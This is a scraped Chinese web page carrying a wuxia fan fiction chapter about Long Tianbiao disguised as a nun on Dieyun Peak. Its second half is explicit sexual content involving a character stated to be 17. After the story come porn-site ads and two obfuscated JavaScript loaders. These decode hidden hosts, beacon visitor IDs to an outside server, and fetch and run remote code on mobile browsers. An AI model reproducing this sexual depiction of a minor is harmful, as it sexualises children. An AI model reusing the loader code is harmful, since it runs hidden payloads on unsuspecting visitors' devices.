就见红文剑客从怀里掏出一封信,往桌上一放。蒋平一看,大吃一惊。蒋四爷把信封打开,里边还有一张烫金字的大红请帖,仔细一看,是叠云峰总辖大寨主王典给红文的请柬,请她上山祝贺人头大会。四爷不觉一惊,问老剑客:“您跟叠云峰有来往?”

“哈哈,四爷,实不相瞒,我跟王典关系不错,他女儿王金玲是我徒弟,跟贫道学艺五载。每逢年节,都给我送礼,山上大事小情,也请贫道参加,这次我来就是要把此事说清。当初王典虽占山为王,但他买卖公平,不欺负附近的老百姓,老百姓称他是公道大王,所以贫道才跟他交往,倘若他是现在的王典,我决不收他女儿为徒,何况他对抗官府,杀死徐良,我更不能跟他同流合污。这次贫道来,就是要把我和王典的关系告诉开封府,以清白自身;另外,你们有什么事要办,贫道可助一臂之力。”

蒋平眼睛一亮,心想可有救星了!四爷起身施礼说道:“老剑客,您推心置腹,我们就不推辞了。您准备何时进山?”

“如没有事现在就走,有事耽误两天也可。”

“现在我们的”小义士“艾虎被押在山上,大伙儿正在为此事着急,想打又怕艾虎出事,不打又怕误了时机。您进山若能设法把艾虎救出虎口,我们就感恩不尽了。”

“贫道记住这件事了。”

“还有,倘若您再能把徐良的人头帮我们找回来,当今天子必有重赏。”

“贫道不图赏,只求为民除害。这两件事我都答应,但我可不敢说大话,我将尽力而为,赴汤蹈火,在所不辞。”

别看是位女道士,说出话来明理爽快,大伙都站起来,谢过老剑客。红文剑客说:“四老爷,贫道一人有点孤单,最好找个帮手和我一道进山,你看哪位英雄合适?”

蒋平眼睛转了转:“您是女剑客,男的显然不便,我找个孩子,叫他装扮成女道姑,就说是您刚收的徒弟,有什么事可叫他跑道送信,您看怎么样?”

“妙哉!太好了!但不知谁能胜任?”

“此人就在眼前,龙天彪过来!”

龙天彪一听就一咧嘴,心说:四爷不给我派好角色,这又得男扮女装,又得当道姑。“孩子,你别不高兴。”

“我不敢。”

“我告诉你,这可是为了救你的老叔艾虎,你不卖命谁卖命?装扮成女道士随老剑客上山,你看怎么样?”

“孙儿遵命就是。”

红文女剑客一看,这小子长得比姑娘都好看,又是徐良的徒弟,老剑客很满意,马上让人赶奔她的庙上取来衣服。龙天彪梳洗打扮后,穿上女道姑的衣服,怎么瞅怎么像个俊俏的道姑,就是脚大了点,但衣服长,可以盖住。红文女剑客看后连声称绝:“要不说话,连我也看不出来,太好了!今后咱们就师徒相称,有人问你就说是我徒弟,叫妙珍,你少说话,免得露马脚。”

龙天彪一一记住,暗带利刃,跟红文女剑客即刻起身。为了掩人耳目,由严英云一人把她们送出店房。红文带着龙天彪,改路来到叠云峰狼牙涧。一路上红文问龙天彪学艺情况,他如实地向女剑客讲述了一遍。红文想:他是徐良的徒弟,功夫肯定错不了,暗喜有了好帮手,红文告诉他:“王典的女儿叫王金玲,比你大两岁,你对她以师兄相称,要跟她亲近,我们还要说服金玲给咱们帮忙。”

一路上,红文剑客再三叮咛,龙天彪一一牢记在心。到了山口子,就听一棒锣响,闪出一行喽罗兵,为首的手提花枪,他刚要问便认出来了:“那不是红文老剑客吗?”

“无量天尊,正是贫道。”

“您来得比别人都早,我们大寨主这两天还念叨您呢,赶紧请吧。”

红文女剑客特地把那份请帖拿出来,让大伙儿看看。喽兵们摆摆手,点着头往里边请。二人没费吹灰之力就进了三道寨门,来到大厅。喽兵先到里边通报,“半翅蜂”王典,电光侠霍玉贵等亲自列队迎接。王典满面赔笑,躬身施礼:“老剑客,您来了,好,够朋友!我早就等着您呢。”

“电光侠”也过来施礼,两个人一边一个,把红文女剑客请到大厅。龙天彪低着头,不敢迈大步,但眼睛没闲着。他一看,这山的气势可真不小,不亚于当初的阎王寨,正厅是十五间,里边都通着,又高又宽敞,里边挤满了人,有和尚、道士、尼姑、道姑,三教九流,什么人都有。龙天彪一眼就认出了朱亮和王顺,因为与他两多次打过交道。龙天彪恐怕被他们识破,就把头深深地低下。王典陪着红文步入大厅:“各位,我来介绍一下,这位就是我女儿受艺的老恩师,江湖上有名的红文女剑客。”

“老剑客,您好!”

众人热情打招唿。红文与众人见过礼,宾主这才落座。龙天彪低头站在她身后。王典问:“老人家,这位道姑是谁?”

“她是我新收的徒弟,叫妙珍。妙珍啊,还不过去见过大寨主。”

龙天彪过去打了稽首,没说话。王典一看,是个女孩子,可能面嫩不敢抬头说话,也没见疑。龙天彪这才退到椅子后边。王典又问:“老人家,请帖收到了?”

“收到了。”

“这次您可得帮我的忙。来人,准备素宴,通知小姐,就说师父来了。”

不一会儿,摆上素宴,王典、电光侠陪着吃。女剑客能吃得下吗?只得逢场做戏。她端着酒杯问王典:“你在信中说,要庆贺什么人头会,但不知这人头会是何意?”

“哈哈,您不知道,这人头并非凡人之头,乃是有名的‘白眉大侠’徐良的人头。他鬼使神差,来到葵花冈,被我几位弟兄发现,就要了他的性命。如今人头在我山上,您知道,徐良是绿林人的叛徒,我打算让朋友们跟我们一起高高兴兴地解解恨,故此,召开这个人头大会。五宗十三派八十一门的高人,凡跟徐良有仇的我都请来了,可谓盛会空前,您不参加怎么行啊!另外,开封府也不会善罢甘休,双方早晚有一场决战,到时还请老剑客助我一臂之力。”

“无量天尊,大寨主太客气了,你就是给我二指宽的小纸条,我也得来!”

“够意思!”

说着,把酒一饮而尽。这时,就听门外有脚步声,环佩叮当,随着一阵银铃般的笑声,开门进来八个丫鬟,都是短衣襟,小打扮,配刀悬剑,进来后往左右一分站定。跟着进来个年轻姑娘,她个头不高不矮,瓜子脸,面如玉脂桃花,柳眉弯弯,杏眼闪闪,樱桃小口,天仙一般。这正是王典的女儿王金玲。王金玲听说老师来了,便亲自来拜见。她先见过爹爹和二叔“电光侠”,然后拜见师父:“老师一向可好?徒儿迎接来迟,当面赎罪。”

红文把她搀扶起来:“孩子,你我师徒还客气什么,近来好吧?”

“托师父的福,一切都好。爹爹,我和师父到我屋去了。”

“好哇,今后老剑客的食宿全归你了。”

“是,师父跟我来。”

说着,把红文拉出大厅。龙天彪在后面跟着,一转身奔到内宅。这叠云峰气魄可不小,从大厅往后数有九层房子,姑娘住在第七道院,这是内宅。王典没有夫人,他父女二人相依为命,金玲是他掌上明珠,在爹爹面前说一不二;此外,姑娘武术还好,王典把她视为命根子。金玲把老师请进自己房里,撒了一顿娇,红文非常喜欢她,把她看成自己的孩子:“丫头,你还这么顽皮,你已经长大了,快要许配人家了,我还等着喝你的喜酒呢。”

“看师父说的,我没那份心思,我一辈子不嫁人。”

姑娘说着脸也红了,一抬头,看见红文身后站着个小道姑:“师父,我光顾跟您说话了,忘了问您身后这人是谁了。”

说着过来就拉人,龙天彪臊得更抬不起头来了。红文说:“金玲,我给你介绍介绍,这是你的师弟,妙珍啊,这是你师兄,还不过去见礼?”

龙天彪红着脸,过去打稽首,没说话。王金玲一看,这个小师弟长得不错,乐得不得了,就把龙天彪拉到眼前,看看这儿,摸摸那儿,这个亲劲儿就甭提了,龙天彪怕露馅儿,急忙躲闪,金玲以为她是害羞:“师父,我这个小师弟这么腼腆,她来多长时间了?”

“不到两月。”

“哪儿的人?”

“就是山南的人,我看这孩子天资聪明,就把她留在身边了,正赶上接到你爹的请帖,就把她带来了,也好让你们师兄弟见见面,往后好有个照应。”

“师父,这么办吧,您要有事先回去的话,就把她留在我这儿多住些日子,我自己怪闷的,让她跟我做个伴儿。”

龙天彪一听,心说:坏事了,这可怎么办?也罢,到时候我先拉出刀来把你切了。王金玲又叫人准备了一桌素筵,师徒三人归座。龙天彪筷子不动,低着头,逗得王金玲直乐:“师父,我师弟可真腼腆啊,这么老实可不行,我告诉你,练武的人不拘小节,我这个人爱说爱笑,你要跟我凑到一块儿可就倒霉了。你倒是吃呀!”

龙天彪没办法,点了点头,这才动筷子。他怕大手露出来,紧拿衣服盖着。红文一个劲儿从旁打岔,唯恐姑娘看出破绽来:“金玲,为师有句话问你,你爹开的这人头大会你可清楚?”

金玲一听,柳眉挑了几下,轻轻唉了一声:“我爹没跟我商议,不过这么大的举动,谁能不知道呢?”

“金玲,这是咱两说,你说开这会有必要吗?”

“师父,我爹是越来越煳涂了,他一意孤行,谁的话也听不进去。我从心里不愿意我爹干这种事。徐良已经死了,还开什么人头大会?听说我爹聘请了八十一门的高人参加,这不是招灾惹祸吗?来的人越多,是非就越大。也不想想,开封府的人能善罢甘休吗?我真担心,不定哪天我们就得走阎王寨的老路,后果不敢想啊。”

龙天彪在旁一听,点点头,心说:没想到王典的女儿看事挺远,还能主持点正义,比王典强多了。他心里这么想,可嘴里不敢说。红文女剑客点点头:“丫头,要真像你说的那样,早晚官兵一来,玉石俱焚哪,你打算怎么办?”

王金玲一听眼泪就掉下来了:“师父,我怕得很,我是身在五里云雾中啊,请师父给我指条明路吧!”

她哭着向两旁丫鬟示意,让她们退出去然后把门关好。这院子是深宅大院,高房厚墙,说话走不了音。就听金玲说:“师父,弟子的苦衷您清楚,我虽是一女流,但是对是非曲直还能明白。我反对我爹占山为王,干这违法之事。有时我想:人家良家子女多自在啊,我现在虽说吃喝不愁,但往后一看,真有点胆寒,现在我爹疼我爱我,可将来落到哪一步田地谁知道啊?早晚官兵一抄山,我就得陪着他掉脑袋!每逢想到此,我心似油煎,尤其是现在,我已预感到大祸临头,我爹不但把徐良的命要了,还把一个叫艾虎的囚禁在山上,这是自招祸灾。开封府是好惹的吗?人家迟早要攻山,真到那一天,恐怕我爹是以卵击石难能自保了。他若有个三长两短,我岂能独生?师父,无论如何你要给我指条明路。”

“王金玲边说边哭,句句话发自肺腑。红文放下酒杯:“丫头,你也不必太难过了,这事情咱慢慢商议。我已经替你想好了一条道,但不知你敢走不敢走?”

金玲急切地说:“师父,您说吧,听您的话我还能有亏吃吗?”

“那好,”

红文站起来,往院里看看没人,把声音放得很低:“孩子,为师跟你想法一样,看你爹的样子,你我三言五语实难劝转,如今他头脑发热,忠言逆耳。你的事可得好好想想了,既不能陪你爹挨刀,还得想法救救你爹,当女儿的要尽全力把他拉出来呀!”

“老师,您快说,我该怎么办?”

“只有一个办法,就是帮开封府,助他们一臂之力。只有这样,官府才能开脱你的罪责,你爹爹的罪过也能减免。除此之外,别无良策。”

王金玲一听,眼睛瞪得老大,迟疑半天才说:“师父,我一直在山上,除了跟您学艺,连山都不下,也不认识开封府的人,怎么给官府出力呢?”

“好孩子,我什么都不瞒你,开封府的人就在眼前。天彪,不用装扮了,过来。”

龙天彪一听,这可好了,这么长时间,话不敢说,头不敢抬,真憋得难受。听女剑客一吩咐,他把胸脯一挺,头抬起来了:“弟子听命。”

他这一声把王金玲吓得好悬没蹦起来,心说:我小师弟声音怎么这么粗?这不是大老爷们儿吗?再一看他的眉眼和举止动作,认定他就是男的。王金玲这心就直跳:“师父,这……是怎么回事?他是谁?”

“好孩子,不必惊慌,我对你实说了吧。他就是徐良的高徒,‘小侠’龙天彪。为师上山之前,就与官府通好消息,‘小侠’男扮女装,跟我上山来就是为了找你,你有事尽管说,他可代开封府作主。孩子你该明白为师的意思了吧!”

王金玲如梦方醒,吓出一身冷汗。闹了半天,他是徐良的高徒龙天彪,似乎有过耳闻;我师父真的浑身是胆,竟敢把开封府的官人领进叠云峰。王金玲瞠目结舌。女剑客一乐:“徒儿不必吃惊,我这全是替你父女着想。你要能帮助小侠客把艾虎救出来,再设法把徐良的人头弄到手,你就算立了大功。开封府蒋四爷他愿在天子面前保奏你将功折罪,到那时,你爹的罪也可能减免,他能立功当然更好。孩子,这么办吧,你要乐意,就帮助为师赶紧救人;若不乐意,为师也不勉强。”

王金玲前思后想,牙关一咬:“师父,我听您的。”

“无量天尊,善哉善哉!为师没白教你。”

龙天彪也冲王金玲一抱拳:“对不起,我不得不乔装打扮,多有得罪。为救艾虎和请我老师的人头,请姑娘多多帮助,如果事成,我龙天彪一定在包相爷面前为你陈明曲直,保你无事。”

“小侠别往下说了,我愿意就是,不过……”

姑娘低下头。红文久经世故,知道姑娘有难言之处,便站起身来,把姑娘拉到里屋:“徒儿,有话尽管说。”

金玲好半天才说:“师父别见笑,徒儿不得不为自己着想,如今我已是二十岁的人了,后半生又当如何?看龙天彪小侠岁数与我相差无几,他和我己在我房中亲热谈笑,还动过手脚,这男女有别,今后叫我怎么做人……”

红文明白了,心说:好聪明的姑娘,她是要把终身许配给龙天彪,这岂不是一举两得。于是她含蓄地说:“金玲,为师也有此意,不如你两订下终身……我跟小侠商量商量,你看如何?”

“一切都由师父做主。”

红文让她在里屋等着,乐呵呵地来到外间屋,问龙天彪:“小侠你今年多大了?”

龙天彪一愣:“我还小呢,一十八岁。”

“很好,贫道打算把金玲许配给你,你可愿意?”

话还没说完,龙天彪就站起来了:“老人家,不可,千万不可!”

红文也愣了:“为什么?难道你瞧不起她绿林出身?”

“没这个意思。实话说吧,我十四岁那年就订了亲,在南阳府团城,‘子伏地君王’东方亮有两个姑娘,一个叫东方娇,一个叫东方艳,因我们年岁太小尚未成亲。再说,我老师徐良都没成亲,当徒弟的怎好完婚?”

红文一听,不能强人所难,便赶紧到里屋把这事跟王金玲说了,金玲一听哇地一声哭了,她恨自己命苦,但话已出口,难以收回,便说:“师父,这样吧,您再跟他说说,就是做他的三妻四妾我也乐意。”

红文一想:这也不是不可以,就又跟龙天彪一讲。龙天彪一听心里自然是很高兴,能娶王金玲这么漂亮性感的少女为妻,他能不高兴吗?王金玲听龙天彪答应了婚事,心中十分的开心,她见龙天彪英俊潇洒,仪表堂堂,能嫁给他是自己的福气。婚事定下来后,龙天彪和王金玲两人红着脸都有点不自在。红文说:“你们也不必拘束,我看今晚你二人就圆了房,然后想办法一起去救艾虎。”

两人听后心里又激动又紧张,想着晚上就可以行人间快乐之事时,龙天彪不觉得下身硬了起来,姑娘王金玲也觉得下体一股热热的淫水流出,羞得姑娘紧紧地夹住了两条丰韵的大腿。王金玲命人准备了酒菜,三人边吃边商量,金玲说:“我只知道艾虎押在山上,但押在哪儿还不摸底,要想救人,不摸清楚怎么行呢?”

于是她把身边的赵妈叫来。这赵妈是她半个奶妈,跟随她多年,非常可靠,什么事也不用背着她。金玲告诉她:“你出去给我办件事,想办法打听到开封府的官人艾虎在什么地方押着,千万别露马脚。”

赵妈经验丰富,一听便知是怎么回事,点了点头,退出去了。约摸过了半顿饭的工夫,她回来了。金玲一看,她喜上眉梢地说:“姑娘,我问清楚了,就押在咱们宅后的仙人头山下,八卦石牢三号。”

王金玲跟师父、龙天彪使了个眼色,二人会意。师徒三人吃完饭,沏壶茶,又接着说这件事,他们决定深夜行动,他们表面镇静,心中早已开了锅,盼啊盼啊,好容易盼到夜幕降临,屋里点了灯。红文退出金玲的绣房,一对俊男靓女相互对视着。龙天彪毕竟是个男人,他主动搂住金玲,少女娇滴滴地楼住龙天彪的脖子,望着美丽的尤物,龙天彪低头向少女吻去,金玲也闭上眼睛用性感的红唇迎合着龙天彪。龙天彪伸出舌头舔着少女湿润的嘴唇,金玲也张开她那性感的嘴唇含羞地吐出香舌,一阵阵少女特有的体香沁入他的肺腹,传遍他的全身,刺激着他身上每一根神经。她那滑滑的嫩舌在龙天彪发干的唇上舔着,他一张嘴,香舌像泥鳅般滑向他的口中,在里边和龙天彪的舌头不期而遇,她一边用舌尖挑逗他的舌头,一边将她口中甜香的唾液,渡入龙天彪的口中,他们的两条舌头一会在龙天彪口中,一会在她口中相互缠绕,一会儿深吻,一会儿浅吻,一会儿他舔她的唇,弄得他们的唾液拉出条条细丝……金玲的双手不停地轻轻抚摸龙天彪的头发,他搂着她细嫩腰肢的大手,也向下滑向少女圆圆鼓鼓的翘臀。龙天彪隔着衣裙在她的屁股蛋儿上揉捏抚摸,他感觉金玲的脸儿更加红的发烫,唿吸也越来越急促,抚摸自己的手也改为紧紧抓住他的头发,龙天彪知道少女已开始发情。他一件件地脱着姑娘的衣服,转眼间金玲身上只剩下可以遮羞的白色肚兜和短小的丝质内裤了。这时的“小侠”龙天彪张大了眼睛看着身边的美少女,见她大大的乳房想跳出肚兜的束覆,纤细的小蛮腰下是圆滚滚的臀部,两条白嫩丰韵的大腿,一双又白又嫩的小脚丫儿,金玲被看得小脸儿红潮泛起,心儿似小鹿乱跳。龙天彪快速的脱掉自己的衣服,搂着金玲一起倒在了床上,随着两人又一次的亲吻和相互的爱抚,少女身上已变的一丝不挂了,这次“小侠”又可以仔细的欣赏床上的妙龄少女了。只见她,皮肤细嫩,白净,身材匀称,凹凸毕现,曲线优美,光滑的后背,圆实的肩头,肉感十足,两条胳膊,滑腻光洁,如同两断白藕,玉颈白嫩,圆圆的脸蛋挂着天真的稚气,柳眉下一对黑漆漆水灵灵的大眼,泛着动人的秋波,红嫩的嘴唇,像挂满枝头的撄桃,她浑身散发着少女的温馨和迷人的芬香,缕缕丝丝地髼进了他的鼻孔,点燃他心中熊熊的欲火。龙天彪看傻了,想不到大贼头王典能有这么性感迷人的女儿,更想不到在这么危险的匪巢里自己能有这样的艳福,龙天彪身不由己地伸出了双臂,一下把她揽入了怀中。她是那样的温柔,顺良,斜躺在他的宽阔的胸膛上,头在他的肘弯里,圆滚滚的屁股,卧在他的双腿之间,两条玉腿曲向一侧,水灵灵的大眼,放射出渴望的秋波和挑逗的欲火。龙天彪抚摸着少女那鼓涨丰满的双乳,金玲含羞的看着他,调皮的把上身挺了起来,任他揉摸着。他开始是大面积的揉弄,只见那弹性十足的乳房,上下左右的颠颤着,揉到左边,弹回右边,揉到右边又弹回左边,像两个小白兔,直弄得金玲仰头蹬腿,娇喘吁吁,哎呀,好痒,好舒服……龙天彪边揉搓金玲的双乳边吻上她小巧的耳朵,先用舌头舔着它,连耳朵眼儿也不放过,又含住耳垂儿轻咬细舔,弄得那里湿湿的,少女被他吻的身体越来越软,她仰着头长长的秀发像瀑布一样散落,嘴中则发出含煳不清的低吟,“啊……啊……哦……哦……嗯……嗯……”

龙天彪见金玲也用那双清澈的大眼睛幸福地看着自己,她的小脸儿绯红,嘴角还残留着他的口水沫,额头和鼻尖儿都沁出汗珠。见龙天彪贪婪地注视着她,金玲也有点儿不好意思了,毕竟是才17岁的姑娘。这时少女的双乳被龙天彪揉搓得越来越大,那大大的乳房洁白,细腻,像两个大白瓷碗扣在那里,顶端有两个大大的乳头,红得像两粒刚从树上摘下来的新鲜樱桃,呈少女独有的粉红色。龙天彪放弃了少女的上身,又把精力放到了她的下体,沿着雪白的腹部和细细的小蛮腰,来到小巧漂亮的肚脐。金玲见未婚夫想看自己的阴部,主动地分开双腿,让自己神秘的私处完全的暴露在龙天彪的眼前。那是一幅令人难以忘怀的美丽图画,两条滑不熘手的细长美腿向外伸张,轻轻抖动,夹在中间尽头的是一个白如羊脂的饱满阴户,阴阜上长着乌黑而又柔软的曲毛,被他唿出的热气吹得像平原上的小草,歪向一旁。拱得高高的大阴唇随着大腿的撑开,被带得向两边半张,露出鲜艳夺目的两片小阴唇,阴道口有些小嫩皮,望上去像重门叠户的仙洞,阴蒂特别不同,头部大得连四周的管状嫩皮也包不住,像一个小龟头般向外凸出,玲玲珑珑得像一颗花生,在“小侠”的眼前绽放……龙天彪不禁低下头,轻吻起她的阴部,用他的舌头分开那卷曲的阴毛,顶开那厚厚的阴唇,一股少女下体的清香冲进了龙天彪的鼻腔,令他心醉。他首先把小阴唇仔细舔一遍,再把其中一片儿含到嘴里,用牙齿轻咬,再叼着往外拉长,随即一松口,阴唇“卜”的一声弹回原处,他用同样方式轮流来对付两片阴唇,一对嫩皮被他弄得此起彼落,辟卜连声。少女哪里还忍得住,淫水便越流越多,“呀,真舒服”,少女淫声浪语,乳波臀浪,撩拨人心。龙天彪又用舌头轻轻舔着金玲那暗红的阴蒂,轻轻抖动,那颗小红豆早已勃得发硬,整个浅红色的嫩头全裸露在外面,闪着亮光,刺激得金玲全身滚烫,浑身不停地颤抖,口中已不由的又发出呻吟:“啊啊啊……受不了了……往深点,好丈夫……啊……啊……啊……啊……”

他的舌头慢慢探进少女的阴道,急促地抖动,进出……少女叫声越来越大,猛然,两条玉腿紧紧夹住了“小侠”的头,一股热热的粘液喷入喷他的口中……“啊……啊……啊……哦……哦……真舒服……我完了。”

“小侠”龙天彪知道少女的第一次高潮来了。两人休息了一会儿,金玲在“小侠”龙天彪的耳边说:“好哥哥,小妹舒服了,该我服侍你了。”

此时的少女早已兴奋得粉脸通红,眼光迷离了。她爬到“小侠”龙天彪的两腿之间,用玉手轻轻抚摸着他勃起的肉棒,抬起头,妩媚的看着他:“你的可真大,真粗啊!我又快受不了了……”

说着低下头,轻轻用双唇含住“小侠”的肉棒,伸出滑腻的舌头慢慢地刮着他的马眼,“小侠”立刻一阵快感涌上来,他感觉得肉棒钻在一个温暖,湿热的地方,涨得更大更粗了。金玲开始用她那性感无比的小嘴套弄起来,每一次都是那么的用力,那么的深入,他也越来越临近高潮,忍不住大声叫了起来……少女也套弄得更起劲,甚至让他的肉棒一次次的深入到她的喉咙里,她也兴奋地把一双小手在他的身上抚摸,金玲鼻腔中发出阵阵令人魂荡的呻吟……这一切刺激着他。龙天彪再也忍不住了,一把抱起少女放在自己的大腿上,他的龟头触到金玲的阴部,那里早已一片汪洋了,肉棒在黑暗中摸索着,找着了去处,终于钻了进去,“唧——”

的一声,整个肉棒一气呵成地便全根尽没,少女的子宫颈被他的龟头猛地一撞,全身酸了一酸,不禁:“唉唷!”

一声叫喊,抱着他的腰连颤几下,嘴里呢呢喃喃地无病呻吟:“啊……啊……好痒……啊……舒服死了……啊……”

“啊!妹妹,你的逼可真紧啊,真舒服……”

“是吗?那你就好好地操我吧!”

这么粗鲁的话能从金玲的口中说出,“小侠”龙天彪就更加兴奋了,下胯使劲地向上顶耸,他用力地挺动着臀部,粗大的肉棒在她的洞中出出进进,“啊!我的好妹妹!”

她也用力地屁股前后左右地磨动,洞口一层层的嫩皮裹着肉棒,也跟随着套弄一张一闭,龟头好像被一张又暖又湿的小嘴不停地吮吸着。但见肉棒粗壮雄伟,插在小小的阴户里,把它撑得鼓鼓的没有一丝缝隙,滴滴淫水从缝中溢出,慢慢地往会阴流去,然后流到屁股下的床上。“

==记住==亚洲色吧

网址: yazhouse8.com yazhouseba.co 淫 狼淫乱 后宫 皇帝女同性恋 女王熟女淫脚高绿奴富帅上课 揉阴蒂淫 蛇温泉 母女包皮1古代宫女爹哥摇晃巨乳荒幼奴 女奴鱼贩高绿奴富帅百合 女王制服草莓滥交冠军我是骚货之王茵笺的自白

上一篇 (反山寨父女变脸救艾虎师徒仗义) 另类小说 下一篇 (侠女寻夫到开封)


上一篇:侠女寻夫到开封

下一篇:反山寨父女变脸救艾虎师徒仗义


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};